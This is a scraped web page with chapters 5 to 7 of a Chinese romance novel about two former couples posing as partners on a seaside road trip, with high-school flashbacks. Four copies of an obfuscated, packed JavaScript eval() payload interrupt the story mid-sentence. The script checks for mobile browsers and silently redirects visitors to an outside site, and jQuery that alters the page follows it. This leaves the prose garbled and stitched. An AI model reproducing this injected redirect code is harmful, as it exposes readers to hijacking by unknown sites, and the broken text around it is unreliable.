之前没发现宋玉津这么难搞?!看来交往的时候披了层温文尔雅的伪装。 盛霏瞪了他一会儿,不情不愿地承认道:“我和她打赌了。” “赌的什么?” “她赌我下一任男朋友谈不过三个月,我赌她找的男朋友全是渣男。”盛霏说。 宋玉津评价:“三个月对永远,你必输无疑啊,但凡她找到一个正常男的呢。” 盛霏反问:“你以为正常男的很多吗?而且你不知道,J是渣男吸引体质,之前几个一个比一个离谱,有个别还传过pdf那种。” “她做的?” “不是,她没空,不过参与过其中一份pdf的调查访谈,提供了部分素材和时间线梳理。” 宋玉津安静几秒,盛霏问:“我手机里都有,要我给你发吗?” “免了。”答得无比迅速。 盛霏:“那我们就说好了。” 宋玉津说:“我还没答应吧。” “你喝了我买的燕麦拿铁了。” 宋玉津比了个投降动作,算作默认。 盛霏立刻跟上一句:“那我现在给J打电话,约她长假和我们一起旅行。” 旅行? “我们”一起? “你等下。”宋玉津无比混乱地拦住她的动作,“什么旅行?” “之前不是说长假要去邻省看海嘛。”女生的语气理所当然。 说是说过,但…… 宋玉津难以置信:“交往时的约定还作数?” “因为我确实想去玩,而且你不是有空吗?J好像下个月休假,她很难约啊,我不要错过这个机会。” “你们两个去。” “不行。”盛霏说,“只有我们俩,我约不出她那个新男朋友,怎么辨别出渣男?” 宋玉津理解了:“我是你赢得赌约的工具。” “我没说啊,你自己先物化自己的。”盛霏低头拨语音通话。 * 通话结束,盛霏通知宋玉津:“答应了,还会带她男朋友来。” 她脸上得逞的喜悦根本藏不住,宋玉津无力道:“行,知道了,四人局。” 盛霏再次叮嘱:“我们分手的事,记得要保密。” “到时候一整周都要陪你演?”宋玉津还是觉得头大,半是苦笑,“真不该喝你这拿铁。” 盛霏说:“演我男朋友难道很煎熬?你真是一点旧情没有了啊,完全不挽留。” 宋玉津哭笑不得:“不是你提的分手?” 盛霏转转眼睛,说:“但我当时也说了啊,分了手还可以做考证学习搭子,总有点战友情吧。” 她仔细思索了下,声音抬起来:“不对,你装什么,之前海边的计划就是你提的,你明明自己就超级想去那里!”她灵光一现地找到了威胁宋玉津的办法,“反正J答应的人是我,你要是不想配合我表演,那你别去了,我就说你临时爽约。” 宋玉津说:“我一定会全力配合你的,战友。” * 与此同时的另一边,邵允承还没反应过来:“啊?什么演技?” 乔迦茵手机微信连冒几个通知,她无暇抬头,翻着消息,语气有点心不在焉:“哦,就是长假你扮演我男朋友出去玩一下。” 邵允承:“扮演?” “就当是个长达一周的约会了。”乔迦茵说,扫了桌上的二维码结账,“不用太放在心上。我临时有点工作,先走了,回头微信联系。” 邵允承尚未反应过来,乔迦茵已经动作飞快地披上外套踏了出去,裙摆与风衣系带一同高高地飘扬,掠过,像金鱼的尾鳍。 消息一条条急得像催命,乔迦茵一坐上车就在后座打开笔电,接通了VP的语音通话。 “现在有空的,您说,嗯,嗯,好,明白,今晚要是吗?没问题。” 她放下手机,在笔电上翻出一份以前的标书,操作娴熟地逐页替换修改。 后视镜里,司机瞥了她一眼,见怪不怪地没说什么。 她到家后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛霏:【分享:在大潮中拍到了人生照片】 盛霏:【分享:入选国家地理十大海景,必须收藏的打卡机位】 盛霏:【我看了下景点都比较散,想玩自由点还是自驾好了】 盛霏:【你们要是觉得累,我开就行】 宋玉津:【我OK,要用我的车吗?】 盛霏:【你那辆我怕我乱开折腾坏了,租个SUV吧】 宋玉津:【好】 邵允承:【我都行,听你们安排】 宋玉津:【多请几天年假你没问题吧?】 邵允承:【没问题】 盛霏:【我觉得那个十天攻略就不错,你们呢】 宋玉津:【OK】 邵允承:【OK】 盛霏:【没问题就先去约车了,J怎么一直不出来啊】 【“FlyFly”拍了拍“Shao”】 盛霏:【你让她看下消息啊,是不是把我们屏蔽了】 邵允承迟疑两分钟后回复:【可能还在睡觉吧】 盛霏:【?】 盛霏又发了一句:【一般这个点她不都是在通勤路上玩手机的吗?】 5. 第 5 章 “弄脏了多少?” “嗯?”男生一时没听懂。 头发很细很长的女生侧拧着肩膀,向后示意:“我看不到。你洒的绿豆汤,弄脏我衣服多大面积?” 室友转瞬间就若无其事地退开几米远,宋玉津往那里瞪了一眼,放弃自证清白,在女生的逼视下迟疑一秒,低头观察她衣服痕迹后用手虚比了一个尺寸:“大概这么一块。” 平心而论,宋玉津觉得不大,军训服颜色又深,远了看不出来。 不过,当事人在得到答案后,脸色明显更加阴郁。 宋玉津帮她想补救办法:“跟教官说一声,先回寝室把这件换了吧?” 女生没说话,他被盯得心虚,自觉理亏,又说:“我帮你去说,你叫什么名字?” “乔迦茵。”语气发寒。 “哪个jiā?”宋玉津在心里猜字,佳音?嘉英? “走之底的迦。” 男生想了一会儿,恍然:“噢!释迦牟尼那个迦。” 乔迦茵冷冷扫了他一眼:“对,释迦牟尼那个迦。” 内容不变,单纯的重复,宋玉津还是敏锐地从中听出一丝嘲讽。 笑一下算了,宋玉津说:“对不起啊,我再去帮你领套军训服。”心里想着,回去找室友算账。 “不用,这个天晾一下就干了。”本来就每人发了两套。听到道歉后女生面色稍微转霁,“记得帮我跟教官说。” 这算是答应了他的补偿,宋玉津立刻道:“好。” 她转身走了两步,顿一下又转过身,隔着半米距离对他说:“茵是芳草如茵的茵。” * 乔迦茵在出租车上睡了一路,临近到达才睁开眼睛。 等电梯的时候打开手机,“随时随地开始逃离”的消息停留在盛霏的灵魂质问,后续无人回复。 电梯门叮一声打开,乔迦茵跟着队伍往里走,低头敲字回复。 【@Shao说得也没错,我今天车上睡着了……】 【行程我没意见,就按你发的那个来吧】 她发完消息,往上拉,将盛霏分享的那则攻略点开。 电梯里信号差一点,转了半天没显示出来,乔迦茵叹口气抬头,忽然间愣了一下。 隔着一排人,宋玉津的身高还是足够鹤立鸡群,而全镜面装修的电梯又将五官清晰映出。 那人若有所感,向镜子里看回一眼,当即转过头来。 “乔迦茵?” 被叫了名字,不好当作不认识。乔迦茵皱着眉头问:“你怎么在这?” “路演。你在几楼?” 办公楼,报了楼层等同于报公司名字。 乔迦茵放低声音:“十三楼。” 即使压了音量,还是感觉到周围若有似无的视线投过来,多多少少有陌生同事。 宋玉津噢了一声,说:“我在你楼上。” 他身侧大抵是同一个团队的同事,笑着也看过来:“认识的?” “同学。” “大学同学?这么巧。” 宋玉津说:“高中同学。” 对方的赞叹语气太过头,浮夸至极:“那可是缘分啊。” 电梯到达某一层,叮一声开门,乔迦茵身后有人轻声说了声借过。 她趁着侧身让人的时机,赶紧低下头,一副专注于手机的模样。实际上那份攻略还是刷不出来。 人流轻微涌动,宋玉津和同事简短交谈过后,抬眼去看,已经无法再和乔迦茵对话。 抵达十三层时乔迦茵从他身旁经过,视线短暂地对撞,她很快转开了眼睛。 在工位上忙了一会儿后才发现宋玉津在群里给她发了微信消息。高中时加过微信,后来她删了,宋玉津不知怀着什么心思,也没来申请加她。 宋玉津@她:【中午一起吃个饭?】 乔迦茵回:【婉拒了哈】 * 群聊的其他人并没在意这桩小插曲,盛霏一个人就能聊得热火朝天,火速安排了十日之内必须要去的几个打卡点,消息满满几屏幕,把宋和乔二人的无聊对话很快刷了下去。 乔迦茵问盛霏:【到时候几点出发?】 盛霏沉默两分钟,说,【十点半?】 乔迦茵稍翻翻眼睛,拿起手机发语音:“长假第一天从上海出发去邻省?十点半?那我们到了可以吃晚饭了。” 盛霏说:“我看导航只要六小时啊。” “导航是现在出发的计时。”乔迦茵说,“假期肯定要堵。” 盛霏叫起来:“难道要九点?我起不来的!” “九点都太晚了。”乔迦茵冷酷道,“八点吧。” 盛霏:【其实吃晚饭也挺好的,白天我们可以在高速上唱唱歌谈谈心。】 盛霏:【我有一个USB话筒,可以在车上使用,宋玉津唱歌很好听,让他来给大家唱一个。】 宋玉津突然冒出来:【我支持八点。】 盛霏:【你朝哪边的?】 宋玉津:【朝不唱歌的那边。】 乔迦茵将手机放一边工作了,没再看微信。午饭时间陈安妮探过头来,问去不去吃饭,她犹豫两秒,点了头。 电梯里大家屏气凝神的,一句不敢多说,一往外走,陈安妮就道:“外面又开始传我们公司裁员的事儿了。” “外面是哪里啊。”乔迦茵语气悠闲,“外面总比我们消息快。” “网上呗,不知道消息源头是哪里,估计什么群聊吧,现在那些卖课的也在传。” “怎么传的?”乔迦茵侧头看过来。 陈安妮摸出手机翻了一会儿,给她看。 乔迦茵说:“三分之一?太假了吧。” “说不定真有。”陈安妮掩住嘴,“那个什么组,不是全没了吗。” “没全裁。”乔迦茵说,“有几个是调岗了。” “调去哪里啊?” 乔迦茵笑笑,“可想而知咯。” * 最后定的出游时间是早上八点,在盛霏家附近的租车店。 乔迦茵玩着手机走到目标门店时,一个人也没有,租车店里店员也不在。盛霏住大虹桥,街道宽敞漂亮,人烟罕至。 她绕着门店走了一圈,没找到人,玻璃门上贴了电话号码,她熟视无睹,懒得帮盛霏取车。望见马路对面有家早餐铺,抬脚就去横穿马路了。 被一个熟悉的声音叫住:“诶,怎么走了?” 乔迦茵回身,说:“吃早饭。” 宋玉津说:“我也没吃,一起吧。” 乔迦茵眉头压紧,显然是不想,但她暂时没什么力气,懒得和他对话,径自过了马路。 不请自来的人快步跟上她,说:“今天不迟到了?” 怎么一句两句都让人恼火,乔迦茵烦躁道:“本来就不迟到,之前和盛霏吃饭是因为她整天迟到,所以我不按照她的时间来。” 谁知道那天盛霏和宋玉津一起,大概被宋玉津带得守时了,难得等她一次。 宋玉津说:“你今天也该晚点来,她又迟到。” “废话不要讲。”当她不知道已经八点了。 明明慢一拍才跟上来的人,却因为步子迈得比她大,先一步走到了柜台前,侧过头极其自然地说了一句:“我请你吧。” 乔迦茵难以理解:“哈?” 宋玉津已经对店员点单:“粢饭糕、甜豆浆,谢谢。” “你自己吃吧,我不吃这些。”乔迦茵说,“我要一个香菇菜包一瓶鲜牛奶。” 宋玉津皱起眉:“你疯了?” 乔迦茵一脸你没事吧:“你才疯了。我点个早餐惹你了?” “乔迦茵你不是牛奶过敏?” 当事人震撼地睁大了双眼:“我什么时候牛奶过敏了——” “迦茵?你们已经到了?” 在柜台前争执的两人不约而同地回过头,大约是一时转过来的视线太过炙热,邵允承愣了一下,才稍显腼腆地扬手打了个招呼。 乔迦茵眨两下眼睛,忽而反应过来,“噢”了一声,停顿一会儿说:“……小邵。” 邵允承:“……” 他看乔迦茵口型,隐约猜到她本来想念个亲密称呼,结果没说出口。 乔迦茵开手机扫码:“先等我付个钱,再给你们介绍。” 邵允承往左边两步,往右边两步,宋玉津也后知后觉,笑着后退一点,让出距离。 邵允承棒读地说:“我付了吧。” “才十块钱,夸不夸张。”乔迦茵压低声音。 “噢。”邵允承闭了嘴,过一会又忍不住道,“你那样叫我像我领导。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738540|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>乔迦茵反省:“你等我再酝酿一下。” 乔迦茵付完钱,往外走出一点,意思意思地介绍:“宋玉津,群里那个。邵允承,群里那个。” 邵允承:“你好你好。” 宋玉津也点头:“你好,有听说有听说。” 她结账之后宋玉津自然地走到柜台前,邵允承没话找话:“也没吃早饭啊?你吃什么?” 宋玉津:“你要吃吗?” 邵允承:“我吃过了。” 宋玉津不咸不淡地“噢”了一声,拎起粢饭糕和豆浆向外走去。 盛霏不负众望地迟到了整整三十分钟,一头乱发,睡眼惺忪,取车坐上驾驶座后,乔迦茵坐在她身后说:“你要是还不清醒,我不介意给你几下耳光。” “我醒了,我真的醒了。”盛霏把手机扔给副驾驶的宋玉津,“你连下我手机,选几首快歌清醒一下。” 宋玉津眼角抽动着点开她的音乐软件:“你全是快歌,我都不用选。” 盛霏无视他的话,自顾自下命令:“放《伤心的人别听慢歌》。” 宋玉津照做。 盛霏情绪伴随着音乐激动起来,刚开上路就说:“采访开始!我对初次见面的邵允承先生有很多好奇心。” 乔迦茵习惯她这副腔调:“你对我的感情状况有很多八卦心。” “不要打岔,我第一个问题是,你们怎么认识的?” 邵允承说:“我表姐是迦茵同事。” 乔迦茵补充:“跟你说过的,安妮。” “啊,我有印象,闪婚那个。”盛霏说,“那你们俩会闪婚吗?” 宋玉津在一旁没忍住,噗地笑了。 邵允承一脸空白:“啊?” 乔迦茵倾身去敲盛霏头:“你神经啊!什么都问。” “好好好这个是我一时嘴快了嘛,谁让你提到你同事。”盛霏说,“怎么在一起的啊?你们谁主动的?” 这个题乔迦茵押中了,邵允承语气沉稳道:“我主动的。” 那天乔迦茵告诉他旅游的事之后,当晚就将他拉进群聊,直到出发这日,拢共就没交代过几句话。 似乎假扮情侣只是她顺嘴一提,根本就没有多么上心。 到了昨晚才明白,真相是乔迦茵觉得盛霏和宋玉津两人都很好应付。 “宋玉津根本不会关心我俩的事,盛霏比较八卦,你只要按照事实差不离地说就行。”乔迦茵当时是这么说的,“她肯定会问怎么在一起的,谁主动这种,你就说是你,因为我性格这样,她很了解的。” 邵允承:“那具体是我做了什么?说了什么?” “不用管了。”乔迦茵笃定道。 眼下,盛霏瞄了一眼右边的匝道路牌,转方向盘变道上坡,顺势就问了:“你说详细一点嘛。” 邵允承迟疑片刻。 乔迦茵在身旁打了个哈欠,说:“问问问什么都问,我干嘛全都告诉你?” 盛霏说:“你说说嘛!我想听故事。” “下次有空喝酒再讲给你听。”乔迦茵眼都不眨地说,“今天没氛围。” 盛霏果真很好打发:“那也行,我们改天去喝一杯去。” 快要睡着的宋玉津忽然指着导航画面说:“你是不是开错了?” 盛霏:“啊?” 邵允承往窗外看:“好像开到机场来了。” 乔迦茵笑:“让你八卦吧。” “对不起对不起啊,这边还回不了头,得绕一下。”盛霏看了看导航修正的新路线,垂头丧气,“假期机场也要堵,浪费时间了,唉。” 下一秒她就重整旗鼓:“反正已经开错了,让我再问一个问题。” 乔迦茵:“你不许问。” 盛霏无视她的话,说:“小邵,你们两个在一起多久了?” 邵允承说:“两周。”他和她见面就两周。 “不对吧。”宋玉津闭着眼睛说,“我们上次见乔迦茵是三周前了,那时候你和她没在一起?” 车里短暂静默后,乔迦茵伸手推了一下邵允承。 “我就说你保守吧。”她说,“我们现在都不那么算了,非要口头确认关系了才开始算时间啊?” 那是怎么算的?邵允承人还懵着,倒是盛霏幡然醒悟一样地“噢”了一声,宋玉津也没再问话了。 6. 第 6 章 天气好得惊人。深红色的砖墙外,树上看不见的蝉不知疲绝地叫,窗外色彩像饱和度拉满的照片,看久了有轻微的眩晕感,像非现实画面。 “军训已经结束了,明天开始正式上学,我再强调一遍,学校里三令五申禁止的两件事,一个是点外卖,一个是在教学区域使用手机,教学区域指的是除了宿舍楼、食堂以外的所有……” 班主任闫倩在讲话,过长的发言如同催眠,台下的学生个个听得东倒西歪。 后肩被手指点了两下,乔迦茵面色不善地回过头:“不要戳我。” “对不起。”宋玉津一脸无辜,小声说,“我是想问你要不要吃肯德基。” “啊?” 宋玉津偏过头示意了一下,侧前方几个男女生正看着这边比着什么口型:“他们要点,问我们要不要一起。” 乔迦茵上下打量他几眼。 那群人她名字都没记住几个,宋玉津都已经和他们混熟了。 “怎么了?”她半天没说话,宋玉津催她,“点不点啊。” “点。”乔迦茵说。 宋玉津说:“伸手。” 女生没反应过来,他往下指了指桌面:“桌子下面,我把手机传给你。” 他们前后座窃窃私语的时间太久,明显吸引了闫倩的目光,乔迦茵坐正回去,靠窗一侧的手往后探,在桌下摊开,左右晃了晃,被塞进一个手机。 她在桌肚里点完,原样向后传回去。 宋玉津这次没戳她肩膀,直接前探身体,在她耳后说:“你没点错吧?三个土豆泥。” 乔迦茵稍微侧过头去,说:“没错。” 男生“噢”了一声,肃然起敬地坐回去了。 * 车子在休息站停下,盛霏要去洗手间,宋玉津抬头问:“下一程要我来开吗?” 盛霏一步已经迈出车外,闻言古怪地看他一眼,说:“为什么?你想开?” “没有很想。” “那我来开。”盛霏说,“我喜欢开车。” 邵允承在后座道:“我也去个洗手间。” 车内两人点点头。接连两声关门声响过后,车厢内陷入一片沉寂。 乔迦茵低头打消消乐,开了公放,消除奖励声清晰可闻。 “所以你对牛奶根本不过敏。”宋玉津忽然指控她。 “嗯。”乔迦茵头也没抬,“我从不牛奶过敏。” “那你之前为什么说你过敏?” “我没说过,你臆想的。” 宋玉津回忆了一下,说:“不可能,是你骗人,完了又忘了。” “我怎么就骗人?”乔迦茵烦死了,“我根本没说过。” 宋玉津说:“骗人是你的爱好,你整天骗人。” 乔迦茵没理他,手机横过来开始切水果。 * 盛霏从洗手间出来时刚巧碰见邵允承,抬手招呼后,她说:“刚过来看到肯德基了,过去买一点吗?” 目前接近午饭时间,邵允承说好,摸出手机:“问下他们吃不吃。” “直接多买点分着吃好了。”盛霏说。 保险起见,邵允承还是在群聊里发了消息。 “没人回。”他等了一会儿,郁郁说。 “反正就那几样,都点了得了。”盛霏不太在意,反倒是八卦余兴未消,“和J谈恋爱什么感觉?——噢,J就是乔迦茵,我习惯这么叫了。” 邵允承对这个问题显得束手无策:“什么‘什么感觉’?都是那种恋爱的感觉。” “我觉得和迦茵谈恋爱肯定很有意思。”盛霏说,“她就是个很有意思的人。” 邵允承茫然道:“是吗?” “你知道我和她认识,是在同一家实习公司,所有实习生都一起吃饭聊天,但她就坐在角落一个人吃,气定神闲的,其他人也有和她搭讪邀请,她直接拒绝了,说她只喜欢一个人吃饭。” “这么酷。” “有天上午我东西做得久,比别人晚一个小时才下楼去吃饭,正好碰上她,和她拼桌了,她叫我不要和她说话,因为她讨厌和陌生人闲聊。‘工作的时候已经在看人眼色够多了,不想吃个饭还要这样。’” “那你就全程都没说话?” “不,我没忍住还是说话了,我说你知道我的名字吗?我想认识你。” 邵允承被勾起一点兴趣:“然后呢?” “然后就正常聊天了。”盛霏耸耸肩,“到了下午全体实习生要参加一个培训,在一间密不透风的会议室里,所有人困得要死,但因为是高管亲自讲,都得认真听下去,还要做笔记。我就坐J旁边,看她听得最认真,背挺得笔直,手上写个不停。一结束发现全是鬼画符,她一下午就在那里表演听讲,一个字都没听。” 邵允承笑:“我上思政课就这样。” “不一样。”盛霏说,“你能懂吗?你那是听不进去,她是故意不听。” “故意?” 盛霏说:“明明可以边走神边听一点,或者无脑抄点PPT材料,但她偏要装作专心又一点不听。宋玉津说J是黑魔仙,我觉得她是还在叛逆期。” “那个演讲的人是被她叛逆着的家长?” “不是,是所有人。” * 车门咔哒一下打开,盛霏从驾驶座将两袋子食物放在中间。 “给你们带了肯德基。”她有点不满道,“两个人没有一个看消息的?” 宋玉津睁开眼道:“不好意思,睡着了。” 乔迦茵从手机上抬起眼:“在打游戏。” 没在群聊中得到回应的盛霏和邵允承最终选了全家桶,又额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738541|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外添了鸡翅和可乐。 宋玉津将塑料袋解开下拉,众人纷纷伸手取食。乔迦茵暂停游戏,放下手机,动作要慢一拍,邵允承已经拿起了装土豆泥的小圆盒子。 乔迦茵看了一眼,没说什么,随手拿了红豆派。 宋玉津说:“你不是爱吃土豆泥吗?” 又来了,分明是对角座位。只要她倾身往前的时候,宋玉津向后侧身,就莫名其妙地仿佛很近。 乔迦茵没说话,默默往后退了点,倒是邵允承立刻停住了要掀开盖子的手:“啊?” 乔迦茵说:“没事你吃吧。” “我没开啊,你爱吃的话给你吧。”邵允承无所谓地将土豆泥递过去。 “我不爱吃。”乔迦茵若无其事地说,“宋玉津记错了。” 宋玉津:“……”他不想再争辩了。 邵允承迟疑着没动,乔迦茵又笑笑来了句:“吃吧宝宝。” 噗的一声,盛霏一口可乐喷了出来,“纸,纸,宋玉津给我张纸。” 宋玉津依言火速抽了几张纸递过去,盛霏手忙脚乱地收拾干净,低声言谢,宋玉津将纸团扔进垃圾桶。车内一时安静下来,只有乔迦茵咬红豆派的声音,咔嗞咔嗞。 “走吧出发了。”盛霏发动车子,毫无来由地感叹一句,“今天天气真好。” * 抵达时暴雨倾盆。 酒店地库停满了,只能停地上停车场,仅剩的车位两边都是大车,盛霏停得满头大汗。 乔迦茵问:“有伞吗?我的在箱子里。” 邵允承道:“我没带。” 宋玉津打开前面手套箱:“车里有一把,但是比较小。” “你们两个撑吧。”乔迦茵说。 “太小了,两个人不够用。” “给盛霏用。” 来回几次都没成功倒入的盛霏分神喊道:“我不用!我不用!”话音刚落,一串滴滴警示声响。 宋玉津道:“你撑吧,开了六个小时车,辛苦了。” “我不要,你比我柔弱,你撑。”盛霏说。 宋玉津:“我哪里……” 侧畔什么东西一声响,盛霏一个猛烈的急刹,打断了他的话。 “撞到了吗?”乔迦茵问。 盛霏降下车窗,雨声倾涌入室。 “后视镜碰到了。”她说着,拿过手机开手电筒照过去,“好像没碰出痕迹。” 乔迦茵也扒着窗看过去:“没痕迹,就是轻微打到。” 宋玉津说:“所以这把伞……” “我不撑。”盛霏说。 “我也不撑。”乔迦茵说。 邵允承想了想,说:“那我……” “知道了,我撑我撑。”宋玉津服气道,“我最柔弱。” 邵允承默默将“来撑吧”两字咽了回去。 7. 第 7 章 温见竹是个路痴。 开学一个月,一出食堂,道路四四方方,两侧皆是郁郁葱葱的树,全都长得一样,她又晕头转向了。 站在门口一筹莫展的时候,发现旁边刚出来的女生极其面熟,温见竹定睛细看两眼,确认是同班同学。 “乔迦茵……?”她试探性地喊了一句。 被叫到名字的同学回过头,一脸漠然。 温见竹说:“你是不是也去教室?一起吧。” 乔迦茵没动,看了她一会儿,说:“你是不是不认路。” “是。”温见竹极其惊讶,“这也能看穿?” 乔迦茵:“……” 乔迦茵说:“这本来是一句攻击,不过算了,我们走吧。” 温见竹没太意外。她不是活跃的性格,在班里鲜少社交,对乔迦茵鲜有接触,却也听室友提起过诸如“不太好相处”之类的评价。 传闻里似乎是相当自命不凡,爱贬低别人的人,温以竹以为乔迦茵要问她怎么一个多月都没记住食堂到教室的路线。 乔迦茵反倒问了句别的:“你不和室友一起吃早餐?” 他们高中是寄宿制,大多数人刚开学都喜欢和室友们一起行动。 温见竹愣了一下,答:“我比较喜欢一个人吃,我要听播客。” 乔迦茵忽然抿着嘴笑了一下。 “那你可以和我一起吃,不介意的话。”乔迦茵说,“我也一个人吃,因为不喜欢在吃饭时间说话。” 温见竹点头:“那好,下次我来找你。” 乔迦茵嗯了一声,边走边说:“沿着这条路,过一次草坪后,最近的这栋楼,记住了吗?” 一点没记住,温见竹说:“谢谢你。” 乔迦茵看了眼手机放回口袋,“要迟到了,走快点。” 两个人加速迈上横跨草坪的石子小径,向教学楼快步赶去,到最后几乎变成了跑的。 教室在二楼,两个人一前一后赶上楼时,忽然有个很高的男生从旁边经过,手上拿了一瓶汽水,一步两三个台阶,火速越过了她们,又在楼梯转角处回过身。 宋玉津站定,意外地看了眼温见竹,说:“咦?” 乔迦茵没好气:“你要打招呼,可以说嗨。” 宋玉津:“嗨。” 乔迦茵翻了个白眼,就拉着温见竹往他身边走过去。 宋玉津也不生气,跟在后面一连串地抛出问题:“你今天不是一个人来啦?她陪你一起吃的早饭?你不是只愿意一个人吃饭?” 乔迦茵捂着耳朵往前走。 温见竹小声说:“他不也是一个人来的吗。” “不是。”乔迦茵说,“你看他没背书包,他们一群男生一起来的,他只是到了教室后又下楼买饮料。” 温见竹:“你好了解。” 这话触怒了乔迦茵,她嘴角往下一撇,不说话了。 温见竹不知身陷雷区,依旧慢吞吞地问:“你和宋玉津是朋友?我听说他这次月考总分班级第一。” 乔迦茵斜睨温见竹一眼,不太高兴地说:“不是朋友。排名你都知道?” 月考成绩刚出,各科卷子都还没下发。明雅高中采取分数保密制度,虽然等到讲卷子时大家多多少少都会获知排名前几位是谁,眼下尚且是秘密。 “我妈告诉我的,家长群里公布了前五名。”温见竹说,“你是第五名。” 乔迦茵说:“我没考好。” 这句话说出口其实有卖弄之嫌,温见竹却平静地点点头,说:“我知道。” 乔迦茵扬起眉。 “我在办公室看到你的物理卷子了。”温见竹说,“最后两题算得没错,你保留根号,答案要求保留两位小数,月考阅卷比较急,没看你过程,两道大题给你扣光了,算回这二十分,你比宋玉津总分还高两分。” “给我扣光了?”乔迦茵爆了句粗口,“我就说物理怎么那么低。你为什么能看到物理卷子?” 早自习铃声响了,温见竹扬了扬手回自己座位,一边走一边很耐心地回答:“因为我是物理课代表,要帮老师核分数。” 周三语文早读,全班稀稀拉拉地开始读古诗。乔迦茵坐下后,从桌肚里抽出语文课本,翻到背诵篇目。 身后阴魂不散的人又凑到她耳后开始说话:“你和温见竹一起吃饭的?她是个什么人?我感觉她超级安静,好像没听她说过几句话,你和她怎么熟起来的?” 乔迦茵说:“你烦不烦啊。” 宋玉津:“我不烦啊,我关爱同学嘛。” “那你自己关爱去。” “我不是说她!”宋玉津气死,“我没见你和她有什么交流啊,怎么突然到了一起吃饭的关系?” 教室后窗哗啦一声打开,年级主任喊:“窗边那个谁,宋玉津,干嘛呢?” 宋玉津正襟危坐,融入读诗集体:“忆往昔峥嵘岁月稠。恰同学少年,风华正茂……” 年级主任身影远去,乔迦茵跟着读诗,肩膀又被拍了两下。 她回过头,不耐烦地说:“我怎么不能和她有交流啊?她是物理课代表,我喜欢物理,不行?” 宋玉津睁大眼睛,半天没说出话。 等乔迦茵都快忘了这事了,脑后幽幽传来一句:“你不能喜欢地理?我是地理课代表。” * “白菽湾和海塘镇没法一起去。”四人围坐在酒店大堂的软座,宋玉津将手机导航地图打开放大,放到桌上,手虚指上去,“我们一路往北开,第二天要去海塘镇玩,晚上要到术南市,还要去夜市,想去白菽湾必须绕路,介绍说那边还得下车走一段路,来不及。” “但是白菽湾的景真的很好!”盛霏将小红书帖子里的照片放大展示,“这个日落拍得太美了,我一定要去!” 宋玉津反应平平,盛霏又将手机向乔迦茵推了推,寻求她的支持:“这难道不是很震撼吗?” 乔迦茵看了一眼,说:“嗯,确实不错。” 你分明是觉得一般,宋玉津想。 “所以是白菽湾和海塘镇只能选其一?”邵允承插话进来,“那好像还是去海塘镇好点,白菽湾只有那一个景。” “明天早点出发去白菽湾呢?我们快速逛完,尽快去海塘镇。”盛霏说。 宋玉津说:“很难。” 乔迦茵看他一眼,说:“试试吧,早点起来,车程赶一点而已。” 邵允承又附和乔迦茵:“要是能两个都玩是最好的。” “但是盛霏……”宋玉津欲言又止,抛了个眼神让另外两人意会。 盛霏心知肚明他什么意思,立即表忠心:“我努力,明天肯定能起来,实在不行J你打我两耳光。” “行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738542|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”宋玉津妥协,“那明天绕一下,你开累了就换我。” 盛霏:“有数。” 行程定下,乔迦茵站起身,说:“走吧?今天还要去思鹭山。” 暴雨一阵一阵的,他们出发时,雨已停了。 思鹭山不算大,上山全程四十分钟,但山上有间知名古寺慎思寺,要走遍禅院,耗时则更多。 盛霏爱开车,走路却属实不行,走到半山腰就嚷嚷要休息。几人在旁边站定,歇息一会儿,都稍有出汗。 邵允承说:“我去买点果茶吧。” 前面不远处就有家不知名果茶店的招牌,大家点点头。 乔迦茵说:“记得我不要热带水果,过敏。” 邵允承表情空白:“全部的热带水果?” 宋玉津插话解释:“不是全部,香蕉椰子可以,菠萝、芒果、百香果、火龙果不行……我和你一起去吧。” 乔迦茵有意抬起声音,朝着邵允承说:“给我买柠檬茶就好。” 邵允承想了下。 “要是没有柠檬茶呢?” “一般都有的,没有的话就算了,买瓶矿泉水。”乔迦茵道。 邵允承思考后,说:“宋哥,还是你陪我去吧。” 宋玉津欣然:“没问题。” 乔迦茵:“……” 她难以置信地转过头问盛霏,“你能理解吗?” 宋玉津这么热心肠?邵允承也不嫌烦? “我不理解。”盛霏说,“怎么才刚认识,哥都叫上了?宋玉津这么有魅力的?怎么没人叫我姐?” 两位青年很快回来。 邵允承拿了一杯椰子水给乔迦茵,宋玉津给盛霏带了西瓜汁。 